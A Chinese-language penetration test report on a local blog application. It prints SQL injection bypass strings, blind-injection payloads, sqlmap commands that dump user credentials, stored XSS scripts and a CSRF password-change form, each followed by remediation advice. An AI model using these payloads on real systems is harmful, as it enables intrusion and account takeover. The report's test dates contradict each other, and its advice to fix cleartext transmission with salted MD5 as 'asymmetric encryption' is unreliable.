渗透测试报告
概述
测试目的
通过实施针对性的渗透测试,发现个人博客网站系统的安全漏洞,保障系统WEB业务的安全运行。
测试范围
系统名称 | 个人博客管理系统网站 |
---|---|
测试域名 | http://127.0.0.1:5678/ |
测试时间 | 2021年08月20日-2019年08月27日 |
说 明 | 本次渗透测试过程中使用的IP: 192.168.1.6 |
数据来源
通过漏洞扫描和手动分析获取相关数据。
详细测试结果
工具扫描
使用nmap进行端口探测:
nmap -sV 192.168.1.6
nmap -sF -T4 192.168.1.6
通过探测得知该服务器开放的端口有25(用于 SMTP 服务)、80(用于 WEB 服务) 和 3306(MySQL 默认端口);接着探测防火墙状态,发现端口被过滤,判断防火墙正常运行。
使用AWVS进行web漏洞扫描:
扫描得到存在SQL注入、XSS、CSRF等高危中危漏洞。
漏洞验证
根据AWVS扫描得到的漏洞进行复现。
SQL注入
风险等级:
高
漏洞描述:
SQL注入是一个漏洞,允许攻击者通过操纵用户输入来更改后端SQL语句。当web应用程序接受直接放在SQL语句中的用户输入并且没有正确过滤出危险字符时,就会发生SQL注入。
这是目前互联网上最常见的应用层攻击之一。尽管相对容易防范,但仍有大量web应用程序易受攻击。
漏洞位置:
经AWVS扫描,存在SQL注入漏洞有login.php、register.php、article_del.php。(分别在登录,注册页面还有删除文章时存在)
自己观察发现,在view_article.php处也有一处注入点,查看文章时存在注入:http://127.0.0.1:5678/view_article.php?id=4
(这里可以使用布尔盲注,延时盲注,报错注入以及联合查询)
- 万能密码绕过
虽然扫描显示存在的是SQL盲注,但是在login.php中可以万能密码直接绕过:(账号和密码处都可) 1' or '1'='1
也可以
- 盲注
http://127.0.0.1:5678/index.html
在username和password上都存在盲注:
if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/
http://192.168.1.6:5678/register.php
的username上存在盲注:
if(now()=sysdate(),sleep(2),0)/*'XOR(if(now()=sysdate(),sleep(2),0))OR'"XOR(if(now()=sysdate(),sleep(2),0))OR"*/
http://192.168.1.6:5678/article_del.php
上:
(select(0)from(select(sleep(0)))v)/*'%2b(select(0)from(select(sleep(0)))v)%2b'"%2b(select(0)from(select(sleep(0)))v)%2b"*/
利用:
1.登录界面
(1).使用sqlmap检测注入点:(在虚拟机上访问主机的)
sqlmap -u http://192.168.1.6:5678/index.html --forms
知数据库为MySQL且>=5.0.12,存在延时盲注。
(2).查找数据库:
sqlmap -u http://192.168.1.6:5678/index.html --forms --dbs
(3).查找当前数据库:
sqlmap -u http://192.168.1.6:5678/index.html --forms --current-db
(4).查找表名:
sqlmap -u http://192.168.1.6:5678/index.html --forms -D blog --tables
(5).查找列名:
sqlmap -u http://192.168.1.6:5678/index.html --forms -D blog -T users --columns
(6).爆数据:
sqlmap -u http://192.168.1.6:5678/index.html --forms -D blog -T users -C user,pwd --dump
通过SQL盲注得到了用户账号和密码,同理数据库中其他数据也可以获得。
2.删除评论处 http://192.168.1.6:5678/article_del.php?id=1
sqlmap -u http://192.168.1.6:5678/article_del.php?id=1 --level 5 --current-db
sqlmap -u http://192.168.1.6:5678/article_del.php?id=1 --level 5 -D blog --tables
sqlmap -u http://192.168.1.6:5678/article_del.php?id=1 --level 5 -D blog -T users --columns
sqlmap -u http://192.168.1.6:5678/article_del.php?id=1 --level 5 -D blog -T users -C user,pwd --dump
3.注册处同理 http://192.168.1.6:5678/register.php
与登录出同理。
'#
直接绕过
在尝试二次注入时:username ---> admin'#
,显示账户已存在,说明没有将'#
算为我们的用户名,而是带入到了执行语句中去。去登录界面,使用成功绕过,密码随便输入即可(当然要知道账号)。
成功绕过了登录验证,进入到了admin用户界面。内容即为admin账号的内容。
修复建议:
不要使用动态SQL,避免将用户提供的输入直接放入SQL语句中;最好使用准备好的语句和参数化查询。不要信任用户,对用户输入的信息进行严格的过滤(特殊字符,关键词等),部署专门的web应用WAF产品。
XSS
风险等级:
高
漏洞描述:
跨站点脚本 (也称为XSS) ,允许攻击者向其他用户发送恶意代码(通常以Javascript的形式)。由于浏览器无法知道脚本是否可信,因此它将在用户上下文中执行脚本,从而允许攻击者访问浏览器保留的任何cookie或会话令牌。
漏洞位置:
http://127.0.0.1:5678/new_article.html
http://127.0.0.1:5678/new_article.html
文章发布,文章查看评论区中存在XSS漏洞。
漏洞验证:
示例:
在文章发布中http://127.0.0.1:5678/new_article.html
,标题处输入<script>alert(1);</script>
,后再查看文章处去查看,可以看到成功触发。且为存储型XSS,每次查看时都会触发。
评论区中http://127.0.0.1:5678/view_article.php?id=2
用户名处输入<script>alert("xss");</script>
,同上持久性XSS。
修复建议:
XSS跨站漏洞的产生的根源是对前端输入的值以及输出的值进行全面的安全过滤,对一些非法的参数,像<>、,”,’等进行自动转义,或者是强制的拦截并提示,过滤双引号,分号,单引号,对字符进行HTML实体编码操作。
CSRF
风险等级:
中
漏洞描述:
CSRF跨站请求伪造(Cross Site Request Forgery),通过这种行为,未经授权的命令从网站信任的用户处传输。如:黑客诱导用户点击带有伪造请求(修改密码,转账,删除文章等高风险操作请求)链接后,利用未失效的用户认证信息,产生服务器验证请求通过,导致用户在不知情的情况下进行了转账等操作。
漏洞位置:
http://127.0.0.1:5678/
, view_article.php, signup.html, personal.php, update.php
漏洞验证:
构造一个恶意的页面,让用户去访问来实现更改密码的操作。
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1:5678/upinsert.php" method="POST">
<input type="hidden" name="username" value="cba" />
<input type="hidden" name="oldpassword" value="123" />
<input type="hidden" name="newpassword" value="1234" />
<input type="hidden" name="repassword" value="1234" />
<input type="hidden" name="name" value="cba" />
<input type="hidden" name="email" value="ava@nl" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
当用户abc登录后(原密码为123),再去访问我们构造的恶意页面,点击后就会将其账号,姓名改为我们设定的cba,密码改为了我们设定的1234。从而达到了一个简单的CSRF攻击。 这里有问题,要已经知道密码。(得视情况,如果有的系统没有原密码认证,可以利用这个方法)
我们可以利用之前XSS来生成一个链接,当其他用户点击时就会进入我们构造的恶意的页面。
现在我们的用户abc已上线
当他查看文章并点击到我们构造的链接后将会跳转到我们构造的恶意页面,点击时会触发我们的修改资料进行修改:
可以看到修改成功。
修复建议:
验证 HTTP Referer 字段,在请求地址中添加 token 并验证。
应用程序错误消息
风险等级:
中
漏洞描述:
攻击者通过伪造包含非应用程序预期的参数或参数值的请求,对该请求的响应中获取有用的信息,且可利用该信息,以找出应用程序的弱点。
这里可通过错误信息将网站绝对路径暴露。
漏洞位置:
article_list.php,register.php
漏洞验证:
apache信息泄露
GET /server-info HTTP/1.1
Host: 127.0.0.1:5678
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
Slow HTTP Denial of Service Attack
风险等级:
中
漏洞描述:
当恶意攻击者以很低的速率发起HTTP请求,使得服务端长期保持连接,这样使得服务端容易造成占用所有可用连接,导致拒绝服务。
漏洞位置:
http://192.168.1.6:5678/
修复建议:
1.对web服务器的http头部传输的最大许可时间进行限制,修改成最大许可时间为20秒。
2.限制HTTP头及包长至一个合理数值。
数据传输漏洞
漏洞等级:
中
漏洞描述:
用户凭证通过未加密的通道传输,容易被恶意用户截获。
漏洞位置:
http://192.168.1.6:5678/
,signup.html。
漏洞验证:
可直接获得传输信息。
修复建议:
采用非对称加密方式(不可逆的加密方式),如:使用md5加盐加密方式。
X-Content-Type-Options 响应标头漏洞
风险等级:
低
漏洞描述:
互联网上的资源有各种类型,通常浏览器会根据响应头的Content-Type字段来分辨它们的类型。如:”text/html”代表html文档。然而,有些资源的Content-Type是错的或者未定义。这时,某些浏览器会启用MIME-sniffing来猜测该资源的类型,解析内容并执行。
例如:我们即使给一个html文档指定Content-Type为”text/plain”,在IE8-中这个文档依然会被当做html来解析。利用浏览器的这个特性,攻击者甚至可以让原本应该解析为图片的请求被解析为JavaScript。
漏洞位置:
http://127.0.0.1:5678/
漏洞验证:
查看页面源码,没有设置”X-Content-Type-Options: nosniff”响应标头来防止基于MIME类型混淆的攻击。
修复建议:
设置”X-Content-Type-Options: nosniff”响应标头。
X-Content-Type-Options: nosniff
弱密码&密码爆破
漏洞风险:
高
漏洞描述:
登录密码设置简单,且没有登录限制,存在爆破风险。
漏洞位置:
登录处。
漏洞验证:
可以通过爆破得到登录密码。
修复建议:
设置密码试错次数,超过后锁定账户。不要使用简单的密码。